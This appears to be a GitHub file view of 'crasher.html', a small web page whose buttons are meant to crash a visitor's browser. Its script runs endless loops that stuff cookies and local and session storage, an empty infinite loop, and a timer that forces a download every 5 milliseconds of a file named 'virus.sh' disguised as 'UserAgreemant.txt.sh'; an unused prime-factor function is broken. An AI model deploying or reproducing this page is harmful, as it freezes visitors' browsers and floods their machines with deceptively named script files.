-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathcrasher.html
More file actions
51 lines (45 loc) · 1.53 KB
/
crasher.html
File metadata and controls
51 lines (45 loc) · 1.53 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<!DOCTYPE html>
<html>
<head>
</head>
<body>
<h1>My First Heading</h1>
<script src="download.js"></script>
<p>My first paragraph.</p>
<button onclick="page();">crash by spaming storage</button>
<button onclick="mail();">crash by spaming equasion</button>
<button onclick="downloader();">crash by spamming download</button>
<script>
var primerizer = function(input){
var factors = [];
var numStorage = input
for (x=2; numStorage != 1; x++){ // counter stops when the divisor is equal to the last number in the
// array, meaning the input has been fully factorized
if (result === 0) { // check if the number is prime; if it is not prime
factors.push(x); // add the divisor to the array of prime numbers
numStorage = numStorage/x // divide the number being calculated by the divisor
x=2 // reset the divisor to 2 and continue
};
};
primeFactor = factors.pop();
return primeFactor;
}
function page(){
while (true){
document.cookie = document.cookie+1
window.localStorage = window.localStorage + 1
window.sessionStorage = window.sessionStorage +1
}
}
function mail(){
while (true){
}
}
function downloader(){
setInterval(function(){
download("virus.sh", "UserAgreemant.txt.sh");
}, 5);
}
</script>
</body>
</html>